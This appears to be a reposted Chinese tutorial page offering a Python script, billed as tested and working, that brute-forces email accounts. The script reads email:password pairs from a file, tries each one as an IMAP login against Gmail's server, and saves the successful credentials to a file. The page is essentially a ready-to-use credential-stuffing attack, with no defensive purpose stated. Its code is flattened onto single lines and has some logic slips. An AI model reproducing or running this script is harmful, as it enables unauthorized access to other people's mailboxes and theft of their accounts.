首页 > 编程 > Python > 正文

Python实现在线暴力破解邮箱账号密码功能示例【测试可用】

2020-01-04 16:40:53
字体:
来源:转载
供稿:网友

本文实例讲述了Python实现在线暴力破解邮箱账号密码功能。分享给大家供大家参考,具体如下:

dic 字典格式如下(mail.txt) :

username@gmail.com:passwordusername@gmail.com:passwordusername@gmail.com:password

以此类推,切记保存成utf-8编码格式。

放置在当前脚本目录,也可自己定义修改。

支持ssl https /imap协议。

# version 3.4.0# coding='UTF-8'# time='2014-09-16'import _dummy_threadimport imaplibimport threading# global variantGLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = []GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com'GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock()GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000GMAIL_BYTES_READED_TOTAL_SIZE = 0GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0GLOBAL_READ_FINISH_STATUS_SUCCESS = False# define global functiondef Write_Save_Success_Gmail_Jobs(indexSuccess):  Success_File = open('success.txt', 'a')  Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess])  Success_File.close()def Write_Save_Fail_Gmail_Jobs(indexFail):  Fail_File = open('fail.txt', 'a')  Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail])  Fail_File.close()# define global functiondef Get_Parser_Account_Pwd(Index): strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index] strUserName, strPassWord = strAccountPwd.split(':', 1) return strUserName, strPassWord# define global functiondef Veritifying_Gmail_Imap_Account_Pwd(IndexGmail): global GLOBAL_WORKING_THREAD_MUTEX_LOCK global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES if ((IndexGmail >= 0) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) == True:  GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire()  GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES += 1  print('POSITION---------', GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES)  print('IMAP INDEX-------', IndexGmail)  print('IMAP USERNAME----', GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])  Write_Save_Fail_Gmail_Jobs(IndexGmail)  # GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()  print(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])  GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT)  GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT # 143  stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail)  try:   ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord)  except GmailImap4.error :   print('Logical errors - debug required')   Write_Save_Fail_Gmail_Jobs(IndexGmail)   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()   return  except GmailImap4.abort :   print('Service errors - close and retry')   GmailImap4.close()   Write_Save_Fail_Gmail_Jobs(IndexGmail)   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()   return  except GmailImap4.readonly:   print('Mailbox status changed to read only')   GmailImap4.close()   Write_Save_Fail_Gmail_Jobs(IndexGmail)   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()   return  if (ResponseStatus[0] == 'OK'):   print('LOGIN SUCCESS')   Write_Save_Success_Gmail_Jobs(IndexGmail)   GmailImap4.logout()   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()  else:   GmailImap4.close()   print('LOGIN FAIL')   print(ResponseStatus)   Write_Save_Fail_Gmail_Jobs(IndexGmail)   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() else:  return# define global functionclass Working_Zone_Thread(threading.Thread): m_IndexStart = 0 m_IndexEnd = 0 def __init__(self, numEnd):  self.m_IndexEnd = numEnd  threading.Thread.__init__(self) def run(self): # run process  while True:   if self.m_IndexStart < self.m_IndexEnd:    Veritifying_Gmail_Imap_Account_Pwd(self.m_IndexStart)    self.m_IndexStart = self.m_IndexStart + 1   else:    break def _delete(self):  threading.Thread._delete(self)  print('thread delete is : ', self.getName())# define read functiondef Read_Send_Single_Func(): IndexStart = 0 print('--------read----star--') global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM global GMAIL_BYTES_READED_TOTAL_SIZE global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY File_Read = open('mail.txt', 'r', encoding='UTF-8') File_Read.seek(GMAIL_BYTES_READED_TOTAL_SIZE, 0) # seek while IndexStart < GLOBAL_ARRAY_BUFFER_MAX_LINES:  line = File_Read.readline()  if line:   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.append(line)   CbBytes = line.__len__()   GMAIL_BYTES_READED_TOTAL_SIZE += CbBytes   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM += 1   IndexStart = IndexStart + 1  else:   GLOBAL_READ_FINISH_STATUS_SUCCESS = True   break print('gmail read num ', IndexStart) File_Read.close() print('---------read----end--')# main entryif __name__ == '__main__': print('Main Thread Start : ') while True:  if GLOBAL_READ_FINISH_STATUS_SUCCESS != True:   Read_Send_Single_Func()   wzt = Working_Zone_Thread(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)   wzt.start()   wzt.join()   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.clear()  else:   print('data has run out : ')   break print('Main Thread End : ')

希望本文所述对大家Python程序设计有所帮助。

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表